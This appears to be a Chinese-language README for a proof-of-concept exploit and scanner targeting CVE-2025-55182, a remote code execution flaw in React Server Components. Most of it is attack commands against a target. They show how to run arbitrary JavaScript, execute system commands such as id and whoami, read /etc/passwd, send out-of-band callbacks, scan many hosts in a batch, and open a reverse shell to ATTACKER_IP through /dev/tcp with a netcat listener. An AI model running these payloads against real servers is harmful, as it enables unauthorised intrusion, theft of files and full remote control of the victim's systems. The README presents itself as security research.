
概念验证 React2Shell-CVE-2025-55182
____ _____ _ ____ _____ ____ ____ _ _ _____ _ _
| _ \| ____| / \ / ___|_ _|___ \/ ___|| | | | ____| | | |
| |_) | _| / _ \| | | | __) \___ \| |_| | _| | | | |
| _ <| |___ / ___ \ |___ | | / __/ ___) | _ | |___| |___| |___
|_| \_\_____/_/ \_\____| |_| |_____|____/|_| |_|_____|_____|_____|
[ CVE-2025-55182 ]
针对 React Server Components (RSC) 的远程代码执行扫描器
| 角色 | 名称 | 链接 |
|---|---|---|
| 原始研究 | Lachlan Davidson | github.com/lachlan2k |
基于原始 PoC:React2Shell-CVE-2025-55182-original-poc
React2Shell 是一款针对 CVE-2025-55182 的综合性安全扫描器。CVE-2025-55182 是一个影响 React Server Components (RSC) 实现的严重远程代码执行 (RCE) 漏洞。该漏洞允许未认证的攻击者通过 React Flight 协议中的不安全反序列化,在服务器上执行任意 JavaScript 代码。
# Clone the repository
git clone https://github.com/Shadowroot97/POC-React2Shell-CVE-2025-55182.git
cd POC-React2Shell-CVE-2025-55182
# Install dependencies
pip install requests
# Run the scanner
python3 exploit_cve_2025_55182_v2.py -h
usage: exploit_cve_2025_55182_v2.py [-h] [-t TARGET] [-f FILE] [-m {version,verify,custom}]
[--js JS] [--extract] [--sleep SECONDS]
[--callback URL] [--dns DOMAIN] [-v]
[--no-color] [--timeout TIMEOUT]
被动检测存在漏洞的 React 和框架版本:
python3 exploit_cve_2025_55182_v2.py -t https://target.com
-m verify)使用多种技术和全部 4 种载荷变体主动确认 RCE:
# Basic verification (digest variation)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# With time-based verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --sleep 5
# With OOB callback (Burp Collaborator)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --callback abc123.oastify.com
# Full verification with verbose output
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback abc123.oastify.com --dns abc123.oastify.com -v
-m custom)执行任意 JavaScript 载荷:
# Get Node.js version
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Execute system command
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('id').toString()" --extract
# Read file
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('fs').readFileSync('/etc/passwd','utf8')" --extract
-f)从文件扫描多个 URL,仅显示存在漏洞的目标:
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Version detection (default mode)
python3 exploit_cve_2025_55182_v2.py -t https://target.com
# RCE verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# Batch scan multiple targets
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Verbose output
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify -v
# Time-based + OOB verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback your-id.oastify.com
# Extract server info
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Execute command
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('whoami').toString()" --extract
# Start listener
nc -lvnp 443
# Execute reverse shell
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\"')"
本工具仅用于授权的安全测试和教育目的。
| 参数 | 说明 |
|---|
-t, --target | 目标 URL(例如:https://example.com) |
-f, --file | 包含 URL 列表的文件(每行一个),用于批量扫描 |
-m, --mode | 扫描模式:version(默认)、verify 或 custom |
--js | 自定义模式使用的 JavaScript 代码 |
--extract | 逐字符提取字符串结果 |
--sleep SECONDS | 基于时间的 RCE 验证(verify 模式) |
--callback URL | 用于 OOB 测试的 HTTP 回调 URL(verify 模式) |
--dns DOMAIN | 用于 OOB 测试的 DNS 回调域名(verify 模式) |
-v, --verbose | 详细输出,包含载荷详情 |
--no-color | 禁用彩色输出 |
--timeout SECONDS | HTTP 请求超时时间(默认:30) |